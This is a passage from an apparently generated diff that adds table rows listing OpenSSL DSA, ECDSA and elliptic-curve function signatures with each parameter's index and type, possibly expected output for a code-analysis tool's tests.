BIGNUM *,int *) | | ossl_dsa_check_pub_key | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 2 | int * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 2 | int * | +| (const DSA *,int) | | DSA_get_ex_data | 0 | const DSA * | +| (const DSA *,int) | | DSA_get_ex_data | 1 | int | +| (const DSA *,int) | | DSA_test_flags | 0 | const DSA * | +| (const DSA *,int) | | DSA_test_flags | 1 | int | +| (const DSA *,int) | | ossl_dsa_dup | 0 | const DSA * | +| (const DSA *,int) | | ossl_dsa_dup | 1 | int | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 0 | const DSA * | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 1 | int | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 2 | int * | +| (const DSA *,unsigned char **) | | i2d_DSAPrivateKey | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAPrivateKey | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSAPublicKey | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAPublicKey | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSA_PUBKEY | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSA_PUBKEY | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSAparams | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAparams | 1 | unsigned char ** | +| (const DSA_METHOD *) | | DSA_meth_dup | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get0_app_data | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get0_name | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_bn_mod_exp | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_finish | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_flags | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_init | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_keygen | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_mod_exp | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_paramgen | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_sign | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_sign_setup | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_verify | 0 | const DSA_METHOD * | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 0 | const DSA_SIG * | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 1 | const BIGNUM ** | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 2 | const BIGNUM ** | +| (const DSA_SIG *,unsigned char **) | | i2d_DSA_SIG | 0 | const DSA_SIG * | +| (const DSA_SIG *,unsigned char **) | | i2d_DSA_SIG | 1 | unsigned char ** | +| (const ECDSA_SIG *) | | ECDSA_SIG_get0_r | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *) | | ECDSA_SIG_get0_s | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 1 | const BIGNUM ** | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 2 | const BIGNUM ** | +| (const ECDSA_SIG *,unsigned char **) | | i2d_ECDSA_SIG | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,unsigned char **) | | i2d_ECDSA_SIG | 1 | unsigned char ** | +| (const ECPARAMETERS *) | | EC_GROUP_new_from_ecparameters | 0 | const ECPARAMETERS * | +| (const ECPKPARAMETERS *,unsigned char **) | | i2d_ECPKPARAMETERS | 0 | const ECPKPARAMETERS * | +| (const ECPKPARAMETERS *,unsigned char **) | | i2d_ECPKPARAMETERS | 1 | unsigned char ** | +| (const ECX_KEY *,int) | | ossl_ecx_key_dup | 0 | const ECX_KEY * | +| (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | int | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED448_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED448_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED25519_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED25519_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X448_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X448_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X25519_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X25519_PUBKEY | 1 | unsigned char ** | +| (const EC_GROUP *) | | EC_GROUP_dup | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_cofactor | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_field | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_generator | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_order | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_seed | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_asn1_flag | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_curve_name | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_field_type | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_mont_data | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_point_conversion_form | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_seed_len | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_method_of | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_POINT_new | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | ossl_ec_GF2m_simple_group_get_degree | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | ossl_ec_GFp_simple_group_get_degree | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | ossl_ec_group_simple_order_bits | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 2 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 3 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_get_curve | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 2 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 3 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_get_curve | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_cofactor | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | EC_GROUP_get_order | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_set_to_one | 2 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_encode | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_inv | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_inv | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_sqr | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_group_do_inverse_ord | 3 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_div | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 1 | BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 3 | const BIGNUM * | +| (const EC_GROUP *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_field_mul | 4 | BN_CTX * | +| (const EC_GROUP *,BN_CTX *) | | ossl_ec_GFp_simple_group_check_discriminant | 0 | const EC_GROUP * | +| (const EC_GROUP *,BN_CTX *) | | ossl_ec_GFp_simple_group_check_discriminant | 1 | BN_CTX * | +| (const EC_GROUP *,ECPARAMETERS *) | | EC_GROUP_get_ecparameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,ECPARAMETERS *) | | EC_GROUP_get_ecparameters | 1 | ECPARAMETERS * | +| (const EC_GROUP *,ECPKPARAMETERS *) | | EC_GROUP_get_ecpkparameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,ECPKPARAMETERS *) | | EC_GROUP_get_ecpkparameters | 1 | ECPKPARAMETERS * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_blind_coordinates | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_invert | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_make_affine | 2 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_post | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_pre | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 2 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 3 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,EC_POINT *,EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_ladder_step | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_set_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_set_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_POINT_set_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 3 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_set_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,BN_CTX *) | | ossl_ec_scalar_mul_ladder | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 4 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,const EC_POINT *,const BIGNUM *,BN_CTX *) | | EC_POINT_mul | 5 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 3 | int | +| (const 